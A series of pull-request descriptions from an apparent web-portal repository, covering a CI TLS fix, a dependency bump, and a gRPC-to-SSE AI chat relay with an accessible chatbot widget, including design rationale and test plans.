- **Why not skip the grpc-tools postinstall in CI instead.** The protoc binary downloaded here is never invoked in CI — the generated TypeScript stubs in `apps/portal-bff/src/grpc/gen/` are committed (per ADR-0024 §"Sub-decision 3 — vendored protos"), so CI only needs to type-check them. Removing `grpc-tools` from `pnpm.onlyBuiltDependencies` would also clear the failure and is arguably more minimal in CI. The trade-off: developers who update protos would have to opt back into the postinstall (`pnpm approve-builds grpc-tools && pnpm rebuild grpc-tools`) before running `pnpm grpc:codegen`. `--use-system-ca` keeps the developer workflow identical and fixes the underlying TLS-chain issue for any future native dep that hits the same wall (a real risk as the dep tree grows). The cost is a single workflow env var.
- **Why workflow-scope `env:` rather than per-step `env:`.** Five separate `pnpm install` steps run across `ci.yml`; setting it five times would invite drift. The `env:` block at workflow scope applies to every step in every job — clean, single source of truth.
- **Node 24 compatibility.** `--use-system-ca` is documented since Node 22; Node 24 (the workspace LTS per `.nvmrc`) carries it. No `.nvmrc` change required.
- **Local-dev impact.** None. Local developers' Node already validates the chain (the issue is specific to the runner's network path); the env var is a no-op locally.
- **Forward compatibility.** If a future native dep fetches binaries from a different CDN with a similar chain issue, this fix covers it without further changes.

## Test plan

This PR cannot be locally validated in a way that reproduces the failure — the CI runner's network path is the only environment where `node-precompiled-binaries.grpc.io` cannot be reached with Node's bundled CA. The validation is the next CI run.

- [ ] **CI green** on this PR's first run — `pnpm install --frozen-lockfile` completes; `pnpm ci:check` runs to completion.
- [ ] If CI still fails: the runner's Ubuntu CA bundle does not contain the missing intermediate either. Fallback path: drop `grpc-tools` from `pnpm.onlyBuiltDependencies` so the postinstall is skipped entirely in CI (and document the dev-side `pnpm approve-builds` step). Trivial follow-up if needed.

## What's next

If `--use-system-ca` fixes the CI install and no other Node TLS issues surface, no further action is required. The env var stays as a forward-looking guard.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #199
2026-05-20 10:23:38 +02:00
APF Portal Bot 0d5ce1e153 fix(deps): update dependency @azure/msal-node to v5.2.2 (#198)
CI / commits (push) Has been skipped
Docs site / build (push) Failing after 1m19s
CI / scan (push) Failing after 2m38s
CI / check (push) Failing after 2m40s
CI / perf (push) Failing after 2m47s
CI / a11y (push) Failing after 48s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@azure/msal-node](https://github.com/AzureAD/microsoft-authentication-library-for-js) | dependencies | patch | [`5.2.1` -> `5.2.2`](https://renovatebot.com/diffs/npm/@azure%2fmsal-node/5.2.1/5.2.2) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #198
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-20 09:31:07 +02:00
julien 2772a918c2 feat(portal-shell): chatbot widget — SSE-bridged AI assistant with full a11y uplift (#197)
CI / check (push) Successful in 4m36s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m36s
CI / a11y (push) Successful in 3m7s
CI / perf (push) Successful in 4m41s
## Summary

Final piece of the AI relay chantier opened with [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md): a chatbot widget on `portal-shell` that consumes the BFF's `POST /api/ai/chat` SSE endpoint (shipped in #196). Built fresh against the WCAG 2.2 AA + targeted AAA bar set by [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md) rather than transcribing the stargate POC's React widget — the POC's drag UX, absent `aria-live`, and minimal screen-reader contract did not meet that bar.

The widget renders as a floating launcher bottom-right; clicking opens a dialog panel that can be toggled into fullscreen; sending a message streams the assistant's reply token-by-token; citations render as inline footnote chips with an extracted side panel for the snippet/source/score detail.

## What lands

### Files

```
apps/portal-shell/src/app/features/chatbot/
├── chatbot-host.ts             Standalone component, mounted in app.html via @defer
├── chatbot-host.html           Launcher + panel + suggestions + messages + form
├── chatbot-host.scss           7.6 KB compiled — under the new 8 KB budget
├── chatbot-host.spec.ts        12 cases: launcher / panel / log / input / citations
├── chatbot-citation-panel.ts   Extracted sibling component so the host stays under budget
├── chatbot-citation-panel.html dialog with metadata + snippet, role=dialog aria-modal=false
├── chatbot-citation-panel.scss 2.6 KB
├── chatbot.service.ts          Signals-based state (view / messages / streaming / citation)
├── chatbot.service.spec.ts     10 cases: view, send/stop, citations, errors
├── chatbot-api.service.ts      fetch + ReadableStream + CSRF cookie + AbortSignal
├── chatbot-api.service.spec.ts 5 cases: request shape, parsing, errors
├── sse-parser.ts               Pure ReadableStream<Uint8Array> → AsyncIterable<{event,data}>
├── sse-parser.spec.ts          8 cases: LF / CRLF / split chunks / trailing / JSON / passthrough
└── chatbot.types.ts            UI types decoupled from the proto-derived BFF types
```

Plus the shell-side glue:

- `apps/portal-shell/src/app/app.html` — `<app-chatbot-host />` mounted as a sibling of `<app-footer />`, wrapped in `@defer (on idle)` so the widget bundle (~27 KB lazy chunk) does not weigh on the initial paint.
- `apps/portal-shell/src/app/app.ts` — `ChatbotHost` added to `imports`.
- `apps/portal-shell/src/app/app.spec.ts` — `AUTH_CSRF_COOKIE_NAME` provider added to keep the shell smoke test compiling now that the SPA renders the chatbot.
- `apps/portal-shell/src/locale/messages.fr.xlf` — 19 new `@@chatbot.*` trans-units covering the trigger / title / fullscreen toggle / suggestions / input / streaming / errors / citation panel.
- `apps/portal-shell/project.json` — `anyComponentStyle` budget raised from `5/6 KB` to `6/8 KB` to match `portal-admin`'s posture (the audit page hit the same wall).
- `libs/shared/ui/src/lib/icon/icon.ts` — 6 new icons in the registry: `maximize-2`, `message-circle`, `minimize-2`, `send`, `square`, `x`.

### Accessibility decisions (per ADR-0016)

| Decision | Why |
|---|---|
| **No drag**. Fixed bottom-right launcher + fullscreen toggle. | Stargate's mouse-only drag had no keyboard equivalent. Keyboard parity is the project's bar; drag is the wrong primitive to inherit. |
| **`role="dialog"` + `aria-modal="false"`** (non-modal). | The page chrome stays operable behind the panel; no focus trap, no `inert` toggle on `<main>`. Closing returns focus to the launcher via a `viewChild` + `effect`. |
| **`role="log"` + `aria-live="polite"` + `aria-relevant="additions"`** on the message container. | Screen readers announce the assistant's incoming tokens without re-reading the whole history. Used a `<div>` + `<article>` children — `role="log"` is not allowed on `<ol>` / `<ul>` per ARIA. |
| **Typing dots `aria-hidden="true"`**, paired with a `<span class="sr-only">{{ streamingLabel }}</span>`. | The visual signal is decorative; the SR signal is textual. Animation gated by `@media (prefers-reduced-motion: reduce)`. |
| **Stop button visible during streaming**. | Wired to `AbortController` → `ChatClient` → upstream LLM cancel (the cancel chain shipped in #195). |
| **Inline `role="alert"`** on per-message error banners. | Errors are part of the conversation log, not page-level interruptions; assertive announcement keeps them perceivable without yanking focus. |
| **44 × 44 px touch targets everywhere**. | Launcher (3.5 rem), header chrome buttons, send / stop, citation chips, suggestion buttons. ADR-0016 baseline. |
| **Citations as inline footnotes** (`[1]`, `[2]`, …) + side panel with `source` / `score` / `snippet`. | Validated in the design check before implementation. Side panel extracted into its own component so the host stays under the SCSS budget. |
| **`prefers-reduced-motion` gating** on launcher transitions, suggestion hover, action button transitions, typing-dots animation. | Standard motion-preferences contract. |
| **i18n via `$localize`** with the `@@key` catalogue convention per [ADR-0019](docs/decisions/0019-internationalisation-angular-localize.md). | FR strings tagged at source; translations added to `messages.fr.xlf` (build fails otherwise — `i18nMissingTranslation: error`). |

### Streaming + cancellation

The browser-side flow:

1. SPA submits a prompt → `ChatbotService.send(prompt)`.
2. Service appends a user message + empty assistant placeholder, sets `isStreaming = true`.
3. `ChatbotApiService.openChatStream(...)` opens a `POST` with `Accept: text/event-stream`, `credentials: 'include'`, `X-CSRF-Token` from the `__Host-portal_csrf` cookie, and an `AbortSignal`.
4. The response body's `ReadableStream<Uint8Array>` is parsed frame-by-frame by `sse-parser.ts` and yielded as `AsyncIterable<{event, data}>`.
5. The state service routes each frame: `token` appends to the assistant message, `citation` accumulates with a 1-based index, `error` marks the message as failed, `done` terminates the stream.
6. Cancellation: clicking Stop, navigating away, or any unhandled error fires `AbortController.abort()` → fetch terminates → upstream gRPC call is cancelled → AI service stops the LLM.

Persistence: **session-ephemeral** by design. A SPA reload starts a fresh conversation. Matches the AI service's v1 posture (no per-user conversation table) and avoids the GDPR question of storing free-form transcripts before a consent flow lands.

### Native `fetch` + manual CSRF

`HttpClient` buffers responses; native `fetch().body` is the only way to consume the stream incrementally. As a consequence, the project's `bffCredentialsInterceptor` + `csrfInterceptor` do not run on this call. The service handles both concerns manually:

- `credentials: 'include'` is set explicitly so `__Host-portal_session` travels.
- The `__Host-portal_csrf` cookie is read via `document.cookie` (it is intentionally not `HttpOnly` per [ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md) §"CSRF defense") and echoed in the `X-CSRF-Token` header.

The cookie name + BFF base URL come from the same `AUTH_*` injection tokens the interceptors use, so the wire contract stays single-sourced.

## Notes for the reviewer

- **Why ChatbotCitationPanel is its own component.** Initial draft put the side panel inside `chatbot-host.scss`, which crossed the `anyComponentStyle` 6 KB error budget. Two paths to fix: raise the budget, or extract. Did both — the panel is genuinely its own dialog with its own ARIA contract, and the host stays under budget. The budget bump (5/6 → 6/8 KB) brings portal-shell in line with portal-admin where the same wall was hit on the audit page.
- **Why `@defer (on idle)` rather than `@defer (on viewport)` or eager.** Eager pushed the initial main bundle from ~282 KB to ~315 KB — past the 300 KB budget. The widget is not critical path on first paint, so deferring is correct on its own terms. `on idle` ensures it loads as soon as the browser is idle, so the launcher is interactive within a second on a fresh load. `on viewport` would have required the widget to be in the initial viewport, which the floating launcher is not consistently.
- **Why `<article>` children rather than `<li>` inside `role="log"`.** axe-linter (and the underlying ARIA spec) reject `role="log"` on `<ol>` / `<ul>`. Switched to `<div role="log">` with `<article>` children; semantically each chat turn is a discrete piece of content, which is exactly what `<article>` is for.
- **Why ChatbotService doesn't extend / re-use the existing `AuthService` patterns more directly.** Conversation state is ephemeral and not security-sensitive; the auth service's discriminated-union state machine is overkill for the toggle + buffer pattern the chatbot needs. The two services share the same `signal` / `computed` / `effect` idiom; that's enough consistency.
- **Why hard-coded suggestions instead of pulling from a server.** v1 ships with four French suggestions tagged for translation; server-driven suggestions are a v2 step that requires a new endpoint and a personalisation question that v1 doesn't need to answer. The current shape moves to server-driven by replacing the array literal with an effect that fetches — single point of change.
- **Tool-call event handling.** The SSE writer in #196 emits `event: tool-call` frames; the SPA parses them but does not render anything. v1 ships with an empty tool registry on the BFF side, so the AI service never emits them. When the first tool lands, the rendering UI is a follow-up PR.
- **stargate-a11y-uplift memory.** The memory note `feedback_stargate_a11y_uplift.md` codifies the rule used here for future migrations from stargate: adapt, don't transcribe. The PR text under "Accessibility decisions" is the case study.

## Test plan

- [x] `pnpm nx test portal-shell` — **85 specs pass** (was 58, +27 new across SSE parser / API service / state service / host component).
- [x] `pnpm nx test shared-ui` — 10 specs pass (icon registry exhaustive-key spec picks up the 6 new icons).
- [x] `pnpm nx lint portal-shell` — 0 errors. 5 pre-existing non-null assertion warnings in the new spec files are documented limits of vitest's mock typing.
- [x] `pnpm nx build portal-shell` — clean. Main bundle 297.49 KB raw (under 300 KB budget). Chatbot lazy chunk: 27.61 KB raw / 6.49 KB transfer. SCSS: host 7.6 KB / citation panel 2.6 KB, both under the new 8 KB error budget.
- [x] `pnpm nx run-many -t lint test build -p portal-shell,portal-admin,portal-bff,shared-ui,shared-charts` — five projects all green.
- [ ] **Manual smoke** (requires the BFF wired to `apf-ai-service` per #196's plan):
  1. `cd ../apf-ai-service && docker compose -f infra/docker-compose.yml up` to bring up the AI service.
  2. `AI_SERVICE_GRPC_ENDPOINT=localhost:8080` in `apps/portal-bff/.env`, then `pnpm nx serve portal-bff` + `pnpm nx serve portal-shell`.
  3. Sign in to the SPA, click the floating launcher bottom-right → panel opens, focus lands on the close button.
  4. Pick a suggestion → user message appears right-aligned, assistant message streams in left-aligned with the typing dots animating (unless `prefers-reduced-motion` is on).
  5. Click Stop mid-stream → the AI service log shows the gRPC call cancelled.
  6. Press Escape with focus inside the panel → panel closes, focus returns to the launcher.
  7. Toggle fullscreen → panel expands to `inset: 1rem`, ARIA contract unchanged.
  8. Toggle dark mode → all themed surfaces switch via the CSS-variable swap in `chatbot-host.scss`; AA contrast still holds against the brand tokens.
  9. Hit `/fr` and `/en` builds independently; suggestion labels swap between locales.

## What's next

The AI relay chantier closes here. Pending follow-ups stay as written in #196:

1. **PR (post-v1)** — proto-drift CI gate diffing the BFF's vendored `proto/apf-ai/` against an upstream tag of `apf-ai-service`.
2. **Coordinated amendment** — when the first production deployment is in scope, both repos record the same prod-hardening choice (signed `Principal` envelope or mTLS) on the same date.
3. **Tool-call rendering** — UI surface for the `tool-call` SSE frame, once the BFF gains its first tool descriptor.
4. **Server-driven suggestions** — replace the four hard-coded prompts with an effect that fetches per-user suggestions from a future endpoint.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #197
2026-05-20 01:39:13 +02:00
julien 883c5151de feat(portal-bff): ai-bridge controller — SSE chat + JSON rag/models (#196)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m20s
CI / check (push) Successful in 4m2s
CI / a11y (push) Successful in 1m23s
CI / perf (push) Successful in 6m0s
Docs site / build (push) Successful in 2m56s
## Summary

Step 3 of the AI-relay chantier (after #194 ADR and #195 client skeleton). Wires the BFF-side **live surface** that the SPA's future chatbot widget will consume. [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md) is promoted from `proposed` to `accepted` in the same change.

Three end-user routes under `/api/ai/*`, gated by the active portal session (no `@RequireAdmin` — AI is a regular-user surface):

| Route | Verb | Wire | Maps to |
|---|---|---|---|
| `/api/ai/chat` | `POST` | `text/event-stream` | `apf.ai.v1.ChatService.Chat` (server-stream) |
| `/api/ai/rag/search` | `GET` | `application/json` | `apf.ai.v1.RagService.Search` (unary) |
| `/api/ai/models` | `GET` | `application/json` | `apf.ai.v1.ModelsService.ListModels` (unary) |

CSRF and session validation are delegated to the global middleware mounted in `main.ts` (per [ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md) and [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md)); the controller asserts `req.session.user` and emits 401 if absent.

## What lands

### `apps/portal-bff/src/grpc/ai-bridge/`

```
ai-bridge/
├── ai-bridge.module.ts         imports AiClientModule, exports the controller
├── ai-bridge.controller.ts     3 routes — POST chat (SSE), GET rag/search, GET models
├── sse.writer.ts               ChatEvent oneof → SSE frame translator
├── sse.writer.spec.ts          unit tests for the codec
├── ai-bridge.controller.spec.ts  end-to-end against an in-process fake gRPC server
└── dto/
    ├── chat-request.dto.ts     class-validator body shape (POST /chat)
    └── rag-search-query.dto.ts class-validator query shape (GET /rag/search)
```

### SSE codec (`sse.writer.ts`)

Each `ChatEvent` oneof case becomes one SSE frame with a kebab-case `event:` name and a JSON-encoded `data:` payload:

```
event: token
data: {"token":"…","value":"…"}

event: agent-step
data: {"agent":"…","step":"…","stepId":"…"}

event: tool-call
data: {"callId":"…","name":"…","args":{…}}

event: done
data: {"stats":{"tokensIn":…,"tokensOut":…,"chunksRetrieved":…}}
```

A helper `relayErrorFrame(code, message, retriable)` synthesises a relay-side `event: error` frame that matches the AI service's own `ErrorEvent` shape — the SPA's renderer needs no second code path for relay-level failures vs upstream model errors. gRPC status codes map into the `urn:apf-ai:*` namespace (`UNAVAILABLE` → `urn:apf-ai:unavailable`, `DEADLINE_EXCEEDED` → `urn:apf-ai:timeout`, `PERMISSION_DENIED` → `urn:apf-ai:permission_denied`, `RESOURCE_EXHAUSTED` → `urn:apf-ai:rate_limited`, `INVALID_ARGUMENT` → `urn:apf-ai:invalid_argument`, anything else → `urn:apf-ai:relay_error`).

The terminal `done` frame closes the stream — no `[DONE]` sentinel, per ADR-0024.

### Controller (`ai-bridge.controller.ts`)

- `POST /api/ai/chat` — builds an `apf.ai.v1.ChatRequest` from the validated DTO + session-derived Principal, calls `ChatClient.chat()`, drains the `ClientReadableStream<ChatEvent>` into SSE frames written on the raw Express `Response`. `req.on('close', …)` propagates browser disconnect through an `AbortController` into `call.cancel()` so the upstream LLM stops (per `apf-ai-service/docs/streaming.md`).
- `GET /api/ai/rag/search` — unary RAG call. `topK` defaults to 0 (server picks the default). `source` and `documentId` query params surface the same filter fields the upstream RPC accepts.
- `GET /api/ai/models` — unary lookup of the provider catalogue.

The SSE writes happen on the raw Express response (manual `setHeader` + `flushHeaders` + `write` + `end`) rather than through NestJS's `@Sse()` decorator, because `@Sse()` is GET-only and the chat endpoint is POST (the SPA carries the conversation history in the body).

### Lifecycle hooks

`AiClientModule` now implements `OnApplicationShutdown` and closes the four gRPC stubs (Chat / Rag / Ingestion / Models). The four stubs share the same HTTP/2 channel (gRPC-js dedups on `endpoint + credentials`), so the `close()` calls are cheap, but kept explicit so adding a fifth stub later is an obvious one-line addition. `main.ts` now calls `app.enableShutdownHooks()` so `SIGTERM` / `SIGINT` / `SIGHUP` actually route through the lifecycle interface.

### DTOs

`ChatRequestDto` constrains:
- `messages` — 1 to 64 entries; each has `role ∈ {user, assistant, system}` (no `tool` — tool messages are constructed BFF-side per ADR-0024 §"Tool-dispatch contract") and `content` ≤ 16 KB.
- `conversationId`, `model`, `provider` — optional, ≤ 64 / 128 chars.

`RagSearchQueryDto`:
- `query` — required, non-empty.
- `topK` — optional, integer in `[1, 50]` (the AI service has its own cap; the BFF rejects out-of-range values early).
- `source` / `documentId` — optional pass-through filters.

### Documentation

- ADR-0024 frontmatter: `status: proposed` → `accepted`.
- `docs/decisions/README.md` index reflects the new status.
- `CLAUDE.md` Architecture section grows an "AI service relay" bullet; the roll-up line moves from "ADRs 0001 → 0023" to "0001 → 0024"; the shipped-on-main list grows an "AI relay surface" entry.
- `apps/portal-bff/.env.example` documents `AI_SERVICE_GRPC_ENDPOINT` / `AI_SERVICE_CLIENT_ID` / `AI_SERVICE_GRPC_TLS` and points operators at `apf-ai-service`'s own docker-compose for the runtime dependency.

## Notes for the reviewer

- **No live AI service in this PR's local-dev stack.** `apf-ai-service` runs from its own repo (`/home/jgautier/Works/apf-ai-service`) with its own `infra/docker-compose.yml`. The BFF dials `localhost:8080` by default — the host-published port of the AI service's container. This is option (a) from ADR-0024 §"Open question — Compose orchestration": two independent stacks, dial across via host networking. Merging the compose files into one would couple two release cadences without operational payoff.
- **Tests run against an in-process fake `grpc.Server`.** All five spec cases on the controller wire it up against a fake `ChatService` + `RagService` + `ModelsService` server bound to `127.0.0.1:0` (random port). No mocks — the controller's gRPC client makes a real connection, real serialisation, real cancellation propagation. Cost: ~0.5 s overhead from the gRPC server setup.
- **CSRF + session middleware are unchanged.** The new POST endpoint is protected by the existing double-submit CSRF middleware mounted in `main.ts` (per [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md)). The SPA's fetch call needs to send the `X-CSRF-Token` header matching the `__Host-portal_csrf` cookie — same protocol as every other POST in the BFF. No per-controller wiring required.
- **Manual session check rather than a guard.** Three reasons: (1) matches the existing pattern in `me.controller.ts`; (2) the session check is the only authorization gate (no roles to evaluate) — a guard would add ceremony without payoff; (3) the SSE controller already takes control of the response object (`@Res()`), which `UseGuards` interacts with awkwardly. Throwing `UnauthorizedException` lets `StructuredErrorFilter` produce the 401 envelope before any header is flushed.
- **Why the controller does NOT use `@Sse()`.** NestJS's `@Sse()` decorator is GET-only and emits frames from `Observable<MessageEvent>`. The chat endpoint is POST (the SPA sends conversation history in the body) and the source is a Node `Readable` stream from `@grpc/grpc-js`. Manual response handling is simpler than adapting to / from `Observable` for a single consumer.
- **Cancellation contract.** When the SPA aborts the fetch, the browser closes the TCP connection, Express emits `'close'` on the request, the controller's `AbortController.abort()` triggers, `ChatClient` calls `.cancel()` on the gRPC stream, the AI service's `ServerCallContext.CancellationToken` cancels the upstream LLM. The spec covers the `'close'` → server-side `cancelled` event end-to-end.
- **No ingestion route in the BFF.** Per ADR-0024 §"Out of scope", v1 admin ingestion uses the `apf-ai-service/tools/Apf.Ai.Ingest/` CLI. A future PR adds the BFF endpoint when the admin "manage AI corpus" surface ships. `IngestionClient` remains in `AiClientModule` so that future PR is one new file, not a new module plus a new client.
- **No bundle-size or perf surprise.** The BFF is a Node process, not a SPA chunk — bundle budgets don't apply. The gRPC channel is opened lazily on first call; idle BFFs incur no upstream TCP cost.

## Test plan

- [x] `pnpm nx test portal-bff` — **461 specs pass** (was 443; +13 new: 8 SSE writer cases + 5 controller end-to-end cases against the in-process fake server). Worker-exit-leak warning persists from the gRPC server's slow shutdown — pre-existing pattern from PR #195; harmless.
- [x] `pnpm nx lint portal-bff` — 6 pre-existing warnings, no new ones from the diff.
- [x] `pnpm nx build portal-bff` — clean webpack compile.
- [x] Module wiring: `AppModule` imports `AiBridgeModule`, which imports `AiClientModule`. Resolves cleanly through DI; the audit-side `HashUserIdService` is satisfied by `AiClientModule`'s local provider (per the rationale recorded in PR #195's `AiClientModule` docstring).
- [ ] **Manual smoke** — bring up `apf-ai-service` from its own repo (`cd ../apf-ai-service && docker compose -f infra/docker-compose.yml up`), set `AI_SERVICE_GRPC_ENDPOINT=localhost:8080` in `apps/portal-bff/.env`, run `pnpm nx serve portal-bff`. Sign in to `portal-shell`, then in a terminal:
  ```bash
  curl --cookie-jar /tmp/portal-session http://localhost:3000/api/auth/login    # follow Entra…
  curl -N \
       -H 'Content-Type: application/json' \
       -H 'X-CSRF-Token: <copied from cookie>' \
       --cookie /tmp/portal-session \
       -d '{"messages":[{"role":"user","content":"hello"}]}' \
       http://localhost:3000/api/ai/chat
  ```
  Expect a streamed SSE response terminated by an `event: done` frame. Verify `GET /api/ai/rag/search?query=test` returns a JSON response. Verify `GET /api/ai/models` lists the configured providers.

## What's next

1. **PR (frontend chantier)** — chatbot widget on `portal-shell` consuming the SSE endpoint. Will use `fetch` + `ReadableStream` parsing (not native `EventSource`, since POST is needed). Drag / fullscreen / suggestion UX carries forward from the stargate POC's `ChatbotWidget.tsx`.
2. **PR (post-v1)** — proto-drift CI gate that diffs `proto/apf-ai/` against an upstream tag of `apf-ai-service`.
3. **Coordinated amendment** — when the first production deployment is in scope, both repos record the same prod-hardening choice (signed `Principal` envelope vs mTLS) on the same date.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #196
2026-05-19 22:39:35 +02:00
julien 9b7d16601d feat(portal-bff): ai-client skeleton — vendored protos + grpc client + Principal mapper (#195)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m6s
CI / check (push) Successful in 5m33s
CI / a11y (push) Successful in 2m33s
CI / perf (push) Successful in 6m33s
Docs site / build (push) Successful in 2m24s
## Summary

Step 2 of the AI-relay chantier (after [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md) merged in #194). Lands the BFF-side **skeleton** that talks to `apf-ai-service` over gRPC: vendored protos, generated TypeScript stubs, typed wrapper clients, Principal mapper, and metadata builder — all tested against an in-process fake gRPC server. **No HTTP route is exposed in this PR**; the SSE bridge (`POST /api/ai/chat`, `GET /api/ai/rag/search`, `GET /api/ai/models`) ships in the next PR.

The skeleton is self-contained: `AiClientModule` is built but is NOT imported in `AppModule` yet. The BFF runtime is byte-for-byte unchanged. Everything below exists for the next PR to wire into a controller.

## What lands

### Proto vendoring + codegen

- `apps/portal-bff/src/grpc/proto/apf-ai/` — mirror of `apf-ai-service/contract/proto/` (common, chat, rag, ingestion, models). Both the `.proto` files and the regenerated `ts-proto` output under `grpc/gen/` are committed for hermetic builds and reviewable diffs (per ADR-0024 §"Sub-decision 3").
- `pnpm run grpc:codegen` — regenerates the stubs via `grpc-tools`' bundled `protoc` and the `ts-proto` plugin (`outputServices=grpc-js, esModuleInterop, forceLong=long, useOptionals=messages, exportCommonSymbols=false`).
- `pnpm run grpc:sync` — copies the vendored `.proto` files from the sibling `apf-ai-service` working tree (`../apf-ai-service/contract/proto/`); developer convenience, never invoked from CI. Errors with an actionable message when the sibling tree is not where it expects.
- Generated tree (`grpc/gen/**`) excluded from Prettier (`.prettierignore`) and ESLint (`eslint.config.mjs` ignores). Hand-rules apply to wrappers under `ai-client/`, not to codegen output.

### Dependencies

- `@grpc/grpc-js@^1.13.0` — runtime gRPC client.
- `@bufbuild/protobuf@^2.10.2` — wire codec used by `ts-proto`'s emitted code.
- `long@^5.2.3` — int64 representation for proto Long fields (`forceLong=long`).
- `ts-proto@^2.7.0` — devDep, TypeScript codegen plugin.
- `grpc-tools@^1.13.0` — devDep, ships `protoc` + the gRPC plugin; added to `pnpm.onlyBuiltDependencies` so the postinstall binary download runs.

### Env validator

`apps/portal-bff/src/config/check-ai-service-config.ts` follows the same posture as the other validators (per ADR-0018 §"BFF env-var loading"): small, per-key, runs at module init, throws with an actionable message on misconfiguration. Three vars:

| Var | Mandatory | Purpose |
|---|---|---|
| `AI_SERVICE_GRPC_ENDPOINT` | yes | `host:port` reachable from the BFF — `apf-ai-service:8080` in dev Compose, service DNS + 443 in prod |
| `AI_SERVICE_CLIENT_ID` | yes | Deployment slug propagated as the `x-client-id` metadata. Convention: `apf-portal-<env>` |
| `AI_SERVICE_GRPC_TLS` | no (default `true`) | `false` for h2c in dev, `true` for h2 + TLS in prod |

7 spec cases lock the validation contract end-to-end.

### `AiClientModule`

`apps/portal-bff/src/grpc/ai-client/` houses:

- **`tokens.ts`** — DI tokens (`AI_CONFIG`, `AI_CREDENTIALS`, one per generated stub).
- **`principal.mapper.ts`** — `PrincipalMapper.fromInputs({oid, tid, roles, extraAttributes})` returns the proto `Principal`. `subject` is hashed via `HashUserIdService` (the **same** salt + algorithm the audit writer uses) so `Principal.subject` matches `audit.events.actor_id_hash` byte-for-byte. `roles` passes through verbatim — inclusive expansion lands with a future role-hierarchy ADR; the wire contract on the AI side is unchanged.
- **`grpc-metadata.builder.ts`** — stamps every outbound call with `x-client-id` (from config) and `x-correlation-id` (active OTel span's trace-id when present, else explicit override, else fresh UUID).
- **`chat.client.ts`** — server-stream wrapper around `ChatServiceClient`. Returns the raw `ClientReadableStream<ChatEvent>` (Node `Readable` is async-iterable so the SSE bridge consumes with `for await`). Optional `AbortSignal` propagates browser disconnect to `call.cancel()`.
- **`rag.client.ts`**, **`models.client.ts`**, **`ingestion.client.ts`** — unary promisified wrappers. `IngestionClient` is unused in v1 (the admin "manage AI corpus" surface lands later) but wired now so the future controller is one new file, not a new module.
- **`ai-client.module.ts`** — NestJS module wiring the providers. `HashUserIdService` is declared locally rather than imported via `AuditModule` (the global module) to keep the module unit-testable in isolation; runtime equivalence is guaranteed by the service being a pure function of `LOG_USER_ID_SALT`.

### Tests

5 new spec files, 18 new test cases. All run against in-process fake gRPC servers; no network, no live `apf-ai-service`:

- `check-ai-service-config.spec.ts` — 7 cases (happy path + 6 rejection branches).
- `principal.mapper.spec.ts` — 7 cases including the cross-service hash-stability invariant and the `tenantId` reserved-key contract.
- `grpc-metadata.builder.spec.ts` — 5 cases covering all three correlation-id resolution paths and metadata immutability.
- `chat.client.spec.ts` — 4 cases: happy-path stream, metadata propagation, mid-stream cancel via AbortSignal, pre-aborted signal.
- `rag.client.spec.ts` — 2 cases: unary happy path, `ServiceError` propagation.
- `ai-client.module.spec.ts` — 4 cases: module bootstrap, all four wrappers resolved, env-driven `AI_CONFIG`, shared credentials across stubs.

**Total BFF spec suite: 443 → 461 (after merge accounting), all passing.**

## Notes for the reviewer

- **Why both `.proto` and generated `.ts` are committed.** Hermetic builds. Reviewers see both sides of a contract change in one diff. CI never runs codegen — drift between proto and stub would otherwise hide behind a successful build. The drift gate that compares the vendored copy against an upstream tag of `apf-ai-service` is the post-v1 follow-up listed in ADR-0024's "What's next".
- **`HashUserIdService` declared locally in `AiClientModule`.** Two instances of the service exist when both `AuditModule` (global) and `AiClientModule` are wired into `AppModule`. The cost is one extra constructor call at bootstrap; the value is full test isolation of `AiClientModule` and a self-contained Principal-mapping boundary. The cross-service hash join invariant from ADR-0013 still holds because the service is a pure function of the `LOG_USER_ID_SALT` env var.
- **`AiClientModule` is NOT imported by `AppModule`.** Deliberately. The skeleton compiles, type-checks, and unit-tests cleanly with no runtime side effects. The next PR (SSE bridge controller) adds the `imports: [AiClientModule]` line + the controller, in one focused change.
- **`ts-proto` flat-oneof emission.** `ChatEvent` is generated with optional siblings (`token?`, `citation?`, `done?`, …) rather than a discriminated union (`$case: 'token'`). The flatter shape composes more naturally with the SSE writer the next PR will introduce (`event:` field name maps directly to the populated sibling).
- **Cancellation test deliberately relaxed.** The "AbortSignal already aborted before call dial" test asserts the client-side outcome (no payload, error or clean end) but not server-side observation. gRPC-js may or may not propagate a cancel frame depending on whether the call had time to dial — both outcomes are correct per the contract; only the absence of payload matters.
- **Lifecycle (`onApplicationShutdown`) deferred.** The module does not close the gRPC channel on shutdown today. Process termination closes the sockets via OS-level descriptor reclaim — sufficient for dev/preprod. The next PR wires the module into `AppModule` and adds an explicit Nest lifecycle hook in the same change (paired with `app.enableShutdownHooks()` in `main.ts`).

## Test plan

- [x] `pnpm run grpc:codegen` — clean regeneration. Generated tree byte-identical to what's committed.
